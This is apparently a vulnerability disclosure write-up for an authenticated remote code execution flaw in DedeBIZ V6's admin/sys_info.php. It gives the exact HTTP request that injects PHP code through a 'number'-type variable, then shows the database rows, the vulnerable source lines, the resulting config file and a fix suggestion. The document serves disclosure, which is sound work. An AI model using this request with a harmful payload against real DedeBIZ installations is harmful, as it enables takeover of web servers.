

main

...

Vulnerability / web / dedebiz / 6.0.0 / sys\_info.poc.md



whitehatl Create sys\_info.poc.md

History

1 contributor

43 lines (30 sloc) | 1.41 KB

...

# Dedebiz has remote code execution

- Affected product: DedeBIZ V6
- Attack type: Remote
- Affected component: /admin/sys\_info.php
- Description: DedeBIZ v6.\* was discovered to contain a remote code execution vulnerability in sys\_info.php.
- Vendor confirmed or acknowledged: Confirmed
- Fix Information: Not available

## POC

```
GET /admin/sys_info.php?
dopost=add&nvarname=test&nvarvalue=phpinfo()&vartype=number HTTP/1.1
Host: www.dedebiz6.com
Cookie: PHPSESSID=bs4vp003uqilf3pj1al024egs2; DedeUserID=1;
DedeUserID__ckMd5=6d2e834b19e2030a; DedeLoginTime=1657701678;
DedeLoginTime__ckMd5=34d8cf865664d363
Connection: close
```

## Details

DedeBlZ v6.\* backend admin/sys\_info.php has the function of adding variables, but the filtering of variables of type 'number' is not strict when writing to the database and php files, resulting in remote code execution.

**1. Login to the web backend as an administrator**

**2. Access with poc**

Request

```
GET /admin/sys_info.php?dopost=add&nvarname=test&nvarvalue=phpinfo()&vartype=number HTTP/1.1
Host: www.dedecms619.com
Cookie: PHPSESSID=419e2d3da; Dedelogin_time=1657701678; Dedelogin_ckMd5=34d8cf865664d363
Connection: close
```

Inspector

提示信息

成功保存变量并更新配置文件

点击反应

2,157 bytes | 31 millis

Done

mysql> select aid,varname,type,value from biz\_sysconfig where aid >= 150;

aid	varname	type	value
150	cfg_bizcore_key	string	
151	cfg_tags_dir	string	{cmspath}/a/tags
152	test	number	phpinfo()

3 rows in set (0.00 sec)

The code is successfully written to the database

**3. Because the type is 'number', the value is written to the php file without quotation marks**

Project

sys\_info.php

```
22 }
23 $fp = fopen($configfile, mode: 'w');
24 flock($fp, operation: 3);
25 fwrite($fp, data: "<?php\r\n");
26 $dsq1->SetQuery("SELECT 'varname','type','value','groupid' FROM '@_sysconfig'");
27 while ($row = $dsq1->GetArray()) {
28     if ($row['type'] == 'number') {
29         if ($row['value'] == '') $row['value'] = 0;
30         fwrite($fp, data: "\${$row['varname']} = ".$row['value'].";\r\n");
31     } else {
32         $row['value'] = stripslashes($row['value']);
33         fwrite($fp, data: "\${$row['varname']} = '".str_replace(array("'", "\""), "\\'", $row['value'])."';\r\n");
34     }
35 }
```

config.cache.inc.php

```
143 $cfg_domain_cookie = '';
144 $cfg_cross_sectypeid = 'Y';
145 $cfg_digg_update = 0;
146 $cfg_feedback_guest = 'N';
147 $cfg_feedback_msglen = 250;
148 $cfg_bizcore_hostname = '127.0.0.1';
149 $cfg_bizcore_port = 8181;
150 $cfg_bizcore_appid = '';
151 $cfg_bizcore_key = '';
152 $cfg_bizcore_dir = '{cmspath}/a/tags';
153 $test = phpinfo();
154
```

```
while ($row = $dsq1->GetArray()) {
    if ($row['type'] == 'number') {
        if ($row['value'] == '') $row['value'] = 0;
        fwrite($fp, "\${$row['varname']} = ".$row['value'].";\r\n");
    } else {
        ...
    }
}
```

## Suggestions for fixing

For variables with vartype as 'number', check if it is a number or force it to be a number before writing to database and php files.

